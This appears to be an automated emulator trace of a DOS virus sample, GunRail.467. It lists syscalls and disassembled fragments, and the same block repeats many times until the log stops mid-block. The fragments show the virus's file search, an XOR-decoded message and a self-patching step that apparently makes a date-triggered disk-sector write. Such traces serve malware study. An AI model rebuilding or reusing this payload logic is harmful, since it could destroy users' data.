Sample viewer

vx.netlux.org/Virus.DOS.VCL.GunRail.467

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:43:03.251994525Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.253276601Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.254136325Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.25496531Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.257103332Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.258793542Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.262339236Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.265086049Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.2669142Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.267692828Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.274049677Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.275255872Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.276167923Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.277060504Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.278889047Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.280307566Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.283661311Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.286513816Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.287890104Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.288578471Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.29505358Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.295815708Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.296598418Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.297760944Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.299110728Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.300398854Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.304828452Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.307443596Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.308814647Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.309772559Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.316353984Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.317115475Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.318127086Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.319231924Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.320630108Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.322105952Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.326588055Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.329038106Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.330540448Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.331725619Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.339673141Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.340396996Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.34166518Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.342709134Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.344047353Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.345967921Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.349416116Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.351902445Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.353570554Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.354447269Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.360578569Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.361672432Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.362527766Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.36327803Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.365504051Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.366887612Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.370426077Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.37354331Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.375075044Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.375903704Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.384821404Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.385796914Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.386642334Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.387537815Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.389086157Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.390574023Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.394545157Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.397426369Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.39887039Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.399798128Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.406492175Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.407270835Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.408402896Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.409404248Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.410863757Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.412484432Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.416300522Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.418815451Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.420299281Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.421495667Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.427912206Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.428754214Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.429789562Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.43061978Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.432621888Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.434669864Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.438246767Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.442264967Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.444301366Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.445410356Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.457023963Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.459252139Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.460265605Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.46129901Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.464487494Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.466755638Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.470993076Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.474972239Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.476922834Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.477903843Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.48984813Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.491536202Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.492908586Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.496113397Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.498523012Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
